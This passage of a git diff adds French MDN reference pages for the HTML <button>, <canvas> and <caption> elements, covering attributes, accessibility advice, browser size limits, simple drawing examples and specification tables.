+ <dd>À la différence des autres navigateurs, Firefox conservera par défaut l'état de désactivation d'un bouton même après un rechargement. Pour contrôler ce comportement, on utilisera l'attribut {{htmlattrxref("autocomplete","button")}} présenté ci-avant.</dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Cet attribut contient l'attribut <code><strong>id</strong></code> de l'élément {{HTMLElement("form")}} auquel celui-ci est rattaché. Par défaut, le bouton est rattaché à l'élément {{HTMLElement("form")}} qui est son plus proche ancêtre. Cet attribut permet à un bouton d'être placé n'importe où dans le document et pas seulement comme un descendant d'éléments {{HTMLElement("form")}}.</dd>
+ <dt>{{htmlattrdef("formaction")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>
+ <p>Cet attribut indique l'URI à laquelle le formulaire doit être soumis si le contrôle est activé. Si l'attribut n'est pas indiqué, l'attribut <code><strong>action</strong></code> de l'élément {{HTMLElement("form")}} étant le plus proche ancêtre de cet élément est pris en compte. Si les deux sont absents, l'URI sera une chaîne vide. Si cet attribut est défini, il écrasera l'attribut {{htmlattrxref("action","form")}} du formulaire rattaché au bouton.</p>
+ </dd>
+ <dt>{{htmlattrdef("formenctype")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Lorsque l'attribut <code><strong>type</strong></code> possède la valeur <code>submit</code>, cet attribut définit le <a class="external" href="https://fr.wikipedia.org/wiki/Type_MIME">type MIME</a> qui sera utilisée pour encoder les données envoyées au serveur. C'est un attribut à valeur contrainte qui peut prendre les valeurs suivantes :
+ <ul>
+  <li><code>application/x-www-form-urlencoded</code> : la valeur par défaut.</li>
+  <li><code>multipart/form-data</code>, (utilisez cet valeur si vous utilisez un {{HTMLElement("input")}} avec un attribut {{htmlattrxref("type","input")}} défini à <code>file</code>.)</li>
+  <li><code>text/plain</code></li>
+ </ul>
+
+ <p>Si cet attribut n'est pas défini, c'est la valeur de l'attribut {{htmlattrxref("enctype","form")}} de l'élément {{HTMLElement("form")}} qui est le plus proche ancêtre de cet élément qui est utilisé. Si cet attribut est défini, il écrasera l'attribut {{htmlattrxref("enctype","form")}} du formulaire rattaché au bouton.</p>
+ </dd>
+ <dt>@{{htmlattrdef("formmethod")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Lorsque l'attribut <code><strong>type</strong></code> possède la valeur <code>submit</code>, cet attribut définit la méthode <a class="external" href="/fr/docs/Web/HTTP">HTTP</a> qui sera utilisée pour envoyer les données au serveur. C'est un attribut à valeur contrainte qui peut prendre les valeurs suivantes :
+ <ul>
+  <li><code>GET</code>, correspondant à la <a class="external" href="/fr/docs/Web/HTTP/Methods/GET">méthode GET</a> du protocole HTTP;</li>
+  <li><code>POST</code>, correspondant à la <a class="external" href="/fr/docs/Web/HTTP/Methods/POST">méthode POST</a> du protocole HTTP;</li>
+  <li><code>PUT</code>, correspondant à la <a class="external" href="/fr/docs/Web/HTTP/Methods/PUT">méthode PUT</a> du protocole HTTP;</li>
+  <li><code>DELETE</code>, correspondant à la <a class="external" href="/fr/docs/Web/HTTP/Methods/DELETE">méthode DELETE</a> du protocole HTTP.</li>
+ </ul>
+
+ <p>Si cet attribut n'est pas défini, c'est la valeur de l'attribut {{htmlattrxref("method","form")}} de l'élément {{HTMLElement("form")}} qui est le plus proche ancêtre de cet élément qui est utilisé. En son absence, la valeur par défaut utilisée est <code>GET</code>. Si cet attribut est défini, il écrasera l'attribut {{htmlattrxref("method","form")}} du formulaire rattaché au bouton.</p>
+ </dd>
+ <dt>{{htmlattrdef("formnovalidate")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>
+ <p>Lorsque l'attribut <code><strong>type</strong></code> possède la valeur <code>submit</code>, cet attribut booléen indique si le formulaire doit être validé au moment de sa soumission. S'il n'est pas mis, l'attribut {{htmlattrxref("novalidate","form")}} de l'élément {{HTMLElement("form")}} qui est le plus proche ancêtre de cet élément est pris en compte. En leur absence à tous les deux, le formulaire sera validé.</p>
+
+ <p>Si cet attribut est défini, il écrasera l'attribut {{htmlattrxref("novalidate","form")}} du formulaire rattaché au bouton.</p>
+ </dd>
+ <dt>{{htmlattrdef("formtarget")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Lorsque l'attribut <code><strong>type</strong></code> possède la valeur <code>submit</code>, cet attribut indique le contexte de navigation (onglet, fenêtre, frame) associé avec le formulaire, sa cible. Outre un attribut <code><strong>id </strong></code>valide du document, il peut prendre l'une de ces valeurs particulières:
+ <ul>
+  <li><code>_self</code> où la cible sera le contexte actuel;</li>
+  <li><code>_parent</code> où la cible sera le contexte hiérarchiquement au-dessus du contexte actuel (où le contexte actuel, s'il n'y en a pas);</li>
+  <li><code>_top</code> où la cible sera le contexte hiérarchiquement le plus au-dessus du contexte actuel (typiquement l'onglet courant);</li>
+  <li><code>_blank</code> où la cible sera un nouveau contexte proche, c'est-à-dire facilement atteignable, du contexte actuel (un nouvel onglet ou une nouvelle fenêtre par exemple).</li>
+ </ul>
+
+ <p>S'il n'est pas mis, l'attribut {{htmlattrxref("target","form")}} de l'élément {{HTMLElement("form")}} qui est le plus proche ancêtre de cet élément est pris en compte. En leur absence à tous les deux, la cible sera déterminée par l'attribut {{htmlattrxref("target","base")}} du premier élément {{HTMLElement("base")}} descendant de l'élément {{HTMLElement("head")}} du document. S'il n'y en a pas, la cible sera la chaîne vide.</p>
+
+ <p>Si cet attribut est défini, il écrasera l'attribut {{htmlattrxref("target","form")}} du formulaire rattaché au bouton.</p>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Le nom du contrôle, qui sera soumis avec les données du formulaire.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Le type du bouton. Le type par défaut si cet attribut énuméré n'est pas spécifié est <code>submit</code>. Les valeurs, et les actions associées, possibles sont :
+ <ul>
+  <li><code>submit</code> : l'activation du bouton entraîne la soumission du formulaire au serveur distant (après validation des contraintes du formulaire);</li>
+  <li><code>reset</code> : l'activation du bouton entraîne la réinitialisation du formulaire et dans ce cas-là, l'élément est exclu de la validation des contraintes;</li>
+  <li><code>button</code> : l'activation du bouton n'entraîne aucun action automatique et dans ce cas-là également, l'élément est exclu de la validation des contraintes. C'est cette valeur qui doit être utilisée si le bouton n'est pas utilisé pour envoyer un formulaire.</li>
+ </ul>
+
+ <p>Si l'attribut <code><strong>disabled</strong></code> est activé, aucune action n'a lieu.</p>
+ </dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>Cet attribut contient la valeur de ce bouton en rapport avec la soumission du formulaire; il n'est ajouté aux données envoyées au serveur que si le bouton a été utilisée pour initier l'envoi.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:html notranslate">&lt;button name="button"&gt;Cliquez sur moi :)&lt;/button&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Exemple', 200, 64, '', 'Web/HTML/Element/Button')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<h3 id="Boutons_avec_une_icône">Boutons avec une icône</h3>
+
+<p>Les boutons qui reposent uniquement sur une icône pour représenter une fonctionnalité n'ont pas de nom accessible. Un nom accessible permet à un outil d'assistance (un lecteur d'écran par exemple) de générer un <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">arbre d'accessibilité</a> correct lors de l'analyse du document. Les outils d'assistance utilisent cet arbre d'accessibilité pour permettre aux utilisateurs de naviguer et d'utiliser le contenu de la page.</p>
+
+<p>Afin de fournir un nom accessible pour un bouton, on fournira un contenu texte dans l'élément qui décrit, de façon concise, la fonctionnalité offerte par le bouton.</p>
+
+<h4 id="Exemple_2">Exemple</h4>
+
+<pre class="brush: html notranslate">&lt;button name="favorite" type="button"&gt;
+  &lt;svg aria-hidden="true" viewBox="0 0 10 10"&gt;&lt;path d="<code class="language-html"><span class="tag token"><span class="attr-value token">M7 9L5 8 3 9V6L1 4h3l1-3 1 3h3L7 6z</span></span></code>"/&gt;&lt;/svg&gt;
+  Add to favorites
+&lt;/button&gt;
+</pre>
+
+<p id="Result_3">Si on souhaite que le texte du bouton ne soit pas visible, on peut le faire de façon accessible grâce à une <a href="https://gomakethings.com/hidden-content-for-better-a11y/#hiding-the-link">combinaison de propriétés</a> qui permettent de le masquer visuellement mais qui permet toujours aux technologies d'assistance de l'analyser.</p>
+
+<p>Toutefois, on notera que laisser le texte visible permettra aux personnes qui ne sont pas familières avec l'application de comprendre le rôle du bouton. Cela vaut particulièrement pour les personnes qui utilisent peu la technologie ou dont la culture apporte une autre interprétation aux images utilisées.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/04/what-is-an-accessible-name/">Qu'est-ce qu'un nom accessible ? <em>The Paciello Group</em> (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Robust#Guideline_4.1_—_Compatible_Maximize_compatibility_with_current_and_future_user_agents_including_assistive_technologies">Comprendre les règles WCAG 4.1</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/ensure-compat-rsv.html"><em>Understanding Success Criterion 4.1.2 - W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h3 id="Dimensionnement_et_proximité">Dimensionnement et proximité</h3>
+
+<h4 id="Dimensionnement_-_taille">Dimensionnement - taille</h4>
+
+<p>Les éléments interactifs tels que les boutons doivent fournir une surface suffisamment grande pour qu'il soit facile de les activer. Cela facilitera la tâche à une variété de personnes : celles qui ont des problèmes moteur, celles qui utilisent des dispositifs de pointage peu précis (doigt ou stylet). La taille interactive minimale recommandée est de 44x44 <a href="https://www.w3.org/TR/WCAG21/#dfn-css-pixels">pixels CSS</a>.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/target-size.html">Comprendre le critère d'accessibilité 2.5.5 sur la taille des cibles - Comprendre WCAG 2.1 (en anglais)</a></li>
+ <li><a href="http://adrianroselli.com/2019/06/target-size-and-2-5-5.html">Taille des cibles et critère 2.5.5, billet en anglais de Adrian Roselli</a></li>
+ <li><a href="https://a11yproject.com/posts/large-touch-targets/">Test rapide : cibles tactiles suffisamment grande - Projet A11Y (billet en anglais)</a></li>
+</ul>
+
+<h4 id="Proximité">Proximité</h4>
+
+<p>Lorsque plusieurs contenus interactifs (y compris les boutons) sont placés les uns à côté des autres, il est nécessaire de les espacer suffisamment pour minimiser le risque d'activer le mauvais contenu lors de la navigation.</p>
+
+<p>Un tel espacement peut être obtenu grâce à la propriété CSS {{cssxref("margin")}}.</p>
+
+<ul>
+ <li><a href="https://axesslab.com/hand-tremors/">Les tremblements de la main et le problème du bouton géant - Axess Lab (en anglais)</a></li>
+</ul>
+
+<h3 id="Firefox">Firefox</h3>
+
+<p>Firefox ajoute une bordure en pointillés sur le bouton qui a le focus. Cette bordure est ajoutée via la feuille de style du navigateur et il est possible de la surcharger avec son propre style via <code>button{{cssxref("::-moz-focus-inner")}} { }</code>.</p>
+
+<p>Si ce comportement est surchargé, il est nécessaire de vérifier que le changement de focus est clairement perceptible, y compris lorsque la vision ou les conditions d'éclairage réduisent la visibilité du document.</p>
+
+<p>Le ratio de contraste est calculé en comparant la luminosité de la couleur du texte et celle de l'arrière-plan. Afin de respecter les <a href="https://www.w3.org/WAI/intro/wcag" rel="noopener">préconisations d'accessibilité sur le Web (WCAG)</a>, un ratio minimal de 4.5:1 est obligatoire pour le contenu textuel normal et un ratio minimal de 3:1 est obligatoire pour grands textes ou les titres. Un <em>grand</em> texte est défini comme un texte qui mesure 18.66px et qui est en gras ou comme un texte qui mesure 24px ou plus.</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/">Vérificateur de contraste WebAIM (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html">Understanding Success Criterion 1.4.3 - W3C Understanding WCAG 2.0</a></em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html"> (en anglais)</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_interactif">contenu interactif</a>, listable, étiquettable, soumettable, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_associ.C3.A9_aux_formulaires">contenu associé aux formulaires</a> et <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a> mais sans <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_interactif">contenu interactif</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("checkbox")}}, {{ARIARole("link")}}, {{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}, {{ARIARole("tab")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLButtonElement")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Type d'élément</th>
+   <td>En ligne</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-button-element', '&lt;button&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-button-element', '&lt;button&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.5', '&lt;button&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.button")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML utilisés pour créer des formulaires :
+  <ul>
+   <li>{{HTMLElement("form")}}</li>
+   <li>{{HTMLElement("datalist")}}</li>
+   <li>{{HTMLElement("fieldset")}}</li>
+   <li>{{HTMLElement("input")}}</li>
+   <li>{{HTMLElement("keygen")}}</li>
+   <li>{{HTMLElement("label")}}</li>
+   <li>{{HTMLElement("legend")}}</li>
+   <li>{{HTMLElement("meter")}}</li>
+   <li>{{HTMLElement("optgroup")}}</li>
+   <li>{{HTMLElement("option")}}</li>
+   <li>{{HTMLElement("output")}}</li>
+   <li>{{HTMLElement("progress")}}</li>
+   <li>{{HTMLElement("select")}}</li>
+   <li>{{HTMLElement("textarea")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/canvas/index.html b/files/fr/web/html/element/canvas/index.html
new file mode 100644
index 0000000000..94ace3eeae
--- /dev/null
+++ b/files/fr/web/html/element/canvas/index.html
@@ -0,0 +1,206 @@
+---
+title: '<canvas> : l''élément de canevas graphique'
+slug: Web/HTML/Element/canvas
+tags:
+  - Canvas
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/canvas
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément <strong><code>&lt;canvas&gt;</code></strong> permet de modifier une zone graphique via un script (habituellement en <a href="/fr/docs/Web/JavaScript">JavaScript</a> ou grâce à <a href="/fr/docs/Apprendre/WebGL">WebGL</a>). Il peut par exemple être utilisé afin de dessiner des graphiques, manipuler des images ou jouer des animations.</p>
+
+<p>Pour plus d'information sur l'élément <code>&lt;canvas&gt;</code>, voir la page sur <a href="/fr/docs/Web/HTML/Canvas">canvas</a>.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme les autres éléments HTML, cet élément possède les <a href="/fr/docs/Web/HTML/Attributs_universels">attributs globaux</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>La hauteur de l'espace pour l'élément, exprimée en pixels CSS. La valeur par défaut est 150.</dd>
+ <dt>{{htmlattrdef("moz-opaque")}} {{non-standard_inline}}</dt>
+ <dd>Cet attribut permet d'indiquer s'il y aura de la transparence ou non. Si le canevas sait qu'il n'y aura pas de transparence, les performances de rendu pourront être améliorées. Cet attribut est uniquement pris en charge par les navigateurs Mozilla, il est préférable d'utiliser la méthode standard {{domxref("HTMLCanvasElement.getContext()", "canvas.getContext('2d', { alpha: false})")}} à la place.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>La largeur de l'espace pour l'élément, exprimée en pixels CSS. La valeur par défaut est 300.</dd>
+</dl>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<h3 id="Contenu_alternatif">Contenu alternatif</h3>
+
+<p>Il est fortement recommandé de fournir un contenu alternatif au contenu du bloc <code>&lt;canvas&gt;</code>. Ce contenu pourra être utilisé par les navigateurs plus anciens qui ne supportent pas l'élément <code>&lt;canvas&gt;</code> et ceux pour lesquels JavaScript est désactivé.</p>
+
+<h3 id="Balise_&lt;canvas>_obligatoire">Balise <code>&lt;/canvas&gt;</code> obligatoire</h3>
+
+<p>À la différence de {{HTMLElement("img")}}, l'élément {{HTMLElement("canvas")}} doit être fermé avec la balise fermante <code>&lt;/canvas&gt;</code>.</p>
+
+<h3 id="Dimensionnement_du_canevas_CSS_ou_HTML">Dimensionnement du canevas : CSS ou HTML</h3>
+
+<p>On peut modifier la taille affichée du canevas grâce à une feuille de style. L'image est mise à l'échelle lors du rendu pour correspondre à la taille indiquée par le style. Toutefois, cela pourra distordre l'image lors du rendu final.</p>
+
+<p>Mieux vaut utiliser les attributs explicites <code>width</code> et <code>height</code> de l'élément en HTML (ou via du code JavaScript).</p>
+
+<h3 id="Taille_maximale_d'un_canevas">Taille maximale d'un canevas</h3>
+
+<p>La taille maximale d'un élément <code>&lt;canvas&gt;</code> dépend du navigateur utilisé. Voici un tableau de mesures provenant de tests et diverses sources (ex. <a href="https://stackoverflow.com/questions/6081483/maximum-size-of-a-canvas-element">Stack Overflow</a>):</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Navigateur</th>
+   <th scope="col">Hauteur maximale</th>
+   <th scope="col">Largeur maximale</th>
+   <th scope="col">Aire maximale</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Chrome</td>
+   <td>32 767 pixels</td>
+   <td>32 767 pixels</td>
+   <td>268 435 456 pixels (soit 16 384 x 16 384)</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>32 767 pixels</td>
+   <td>32 767 pixels</td>
+   <td>472 907 776 pixels (soit 22 528 x 20 992)</td>
+  </tr>
+  <tr>
+   <td>Safari</td>
+   <td>32 767 pixels</td>
+   <td>32 767 pixels</td>
+   <td>268 435 456 pixels (soit 16 384 x 16 384)</td>
+  </tr>
+  <tr>
+   <td>IE</td>
+   <td>8 192 pixels</td>
+   <td>8 192 pixels</td>
+   <td>?</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Si on dépasse les dimensions ou l'aire maximale, le canevas deviendra inutilisable et les commandes de dessin ne fonctionneront pas.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Le fragment de code suivant ajoute un élément <code>canvas</code> au document. Un texte alternatif est fourni au cas où le navigateur ne peut pas afficher ce canevas. Un texte alternatif ou bien des éléments internes permettront de rendre le canevas plus accessible.</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;
+  Désolé, votre navigateur ne prend pas en charge &amp;lt;canvas&amp;gt;.
+&lt;/canvas&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>On utilise également ce fragment de code JavaScript avec la méthode {{domxref("HTMLCanvasElement.getContext()")}} afin d'obtenir le contexte de dessin puis on dessine sur le canevas.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);</pre>
+
+<h3 id="Gérer_l'opacité">Gérer l'opacité</h3>
+
+<p>Si le canevas n'utilise pas la transparence, on pourra indiquer au navigateur que le canevas est opaque afin d'optimiser le rendu. Pour cela, on pourra utiliser la propriété <code>alpha</code> avec la valeur <code>false</code>.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d', {alpha: false});</pre>
+
+<p>Avant que cette option soit standard, on pouvait utiliser l'attribut HTML <code>moz-opaque</code> {{non-standard_inline}} {{deprecated_inline}} pour les navigateurs basés sur Gecko. Toutefois, ce n'est pas une solution standard, cf. le bug {{bug(878155)}} pour suivre le retrait de cet attribut.</p>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","300")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<h3 id="Contenu_alternatif_2">Contenu alternatif</h3>
+
+<p>Seul, l'élément <code>&lt;canvas&gt;</code> est une image matricielle et ne fournit pas d'informations sur les objets dessinés. Le contenu d'un canevas n'est pas accessible aux outils d'assistance qui se basent sur le contenu sémantique du document HTML. De façon générale, on évitera de se servir uniquement de <code>&lt;canvas&gt;</code> pour produire un document accessible.</p>
+
+<ul>
+ <li><a href="/Fr/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">Les régions cliquables et l'accessibilité</a></li>
+ <li><a href="https://www.w3.org/WAI/PF/HTML/wiki/Canvas_Accessibility_Use_Cases">Cas d'utilisation pour l'accessibilité de <code>&lt;canvas&gt;</code></a></li>
+ <li><a href="https://www.w3.org/html/wg/wiki/AddedElementCanvas">Problèmes d'accessibilité de l'élément <code>&lt;canvas&gt;</code></a></li>
+ <li><a href="http://www.paciellogroup.com/blog/2012/06/html5-canvas-accessibility-in-firefox-13/">L'accessibilité de l'élément <code>&lt;canvas&gt;</code> dans Firefox 13, un article de Steve Faulkner (en anglais)</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/scripting.html#best-practices">Les meilleures pratiques pour concevoir des éléments <code>&lt;canvas&gt;</code> interactifs</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_intégré">contenu intégré</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td>Transparent mais sans aucun descendant étant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_interactif">contenu interactif</a> à l'exception des éléments {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type", "input")}} vaut <code>checkbox</code>, <code>radio</code>, ou <code>button</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout contenu acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Interface DOM</dfn></th>
+   <td>{{domxref("HTMLCanvasElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#the-canvas-element', '&lt;canvas&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'scripting-1.html#the-canvas-element', '&lt;canvas&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.canvas")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Canvas">Le portail MDN sur l'élément <code>&lt;canvas&gt;</code></a></li>
+ <li><a href="/fr/docs/Tutoriel_canvas">Tutoriel <code>&lt;canvas&gt;</code></a></li>
+ <li><a href="https://simon.html5.org/dump/html5-canvas-cheat-sheet.html">Anti-sèche <code>&lt;canvas&gt;</code></a></li>
+</ul>
diff --git a/files/fr/web/html/element/caption/index.html b/files/fr/web/html/element/caption/index.html
new file mode 100644
index 0000000000..f1d9f809a3
--- /dev/null
+++ b/files/fr/web/html/element/caption/index.html
@@ -0,0 +1,164 @@
+---
+title: '<caption> : l''élément de légende d''un tableau'
+slug: Web/HTML/Element/caption
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Tableau
+  - Web
+translation_of: Web/HTML/Element/caption
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément <strong>HTML <code>&lt;caption&gt;</code> </strong>représente la légende (ou le titre) d'un tableau. Il doit être le première élément parmi les descendants de l'élément {{HTMLElement("table")}}. La mise en forme CSS peut placer cet élément à un autre endroit par rapport au tableau et on pourra notamment utiliser les propriétés {{cssxref("caption-side")}} et {{cssxref("text-align")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/caption.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>On peut utiliser<a href="/fr/docs/Web/HTML/Attributs_universels"> les attributs universels</a> sur cet élément.</p>
+
+<h3 id="Attributs_obsolètes">Attributs obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecatedGeneric('inline','HTML4.01')}} {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>Cet attribut à valeur contrainte indique l'alignement de la légende du tableau par rapport au tableau lui-même. Il peut valoir :
+ <ul>
+  <li><code>left</code> pour un affichage à gauche du tableau</li>
+  <li><code>top</code> pour un affichage au dessus du tableau</li>
+  <li><code>right</code> pour un affichage à droite du tableau</li>
+  <li><code>bottom</code> pour un affichage en dessous du tableau</li>
+ </ul>
+
+ <div class="note"><strong>Note d'utilisation : </strong>Ne pas utiliser cet attribut. Il a été déprécié. L'élément {{HTMLElement("caption")}} devrait être mis en forme grâce au <a href="/fr/docs/Web/CSS">CSS</a>. Afin d'obtenir des effets similaires à cet attribut, on utilisera les propriétés CSS {{cssxref("caption-side")}} et {{cssxref("text-align")}}.</div>
+ </dd>
+</dl>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>Quand l'élément {{HTMLElement("table")}} (étant le parent de l'élément {{HTMLElement("caption")}}) n'est que l'unique descendant d'un élément {{HTMLElement("figure")}},c'est l'élément {{HTMLElement("figcaption")}} doit être utilisé.</p>
+
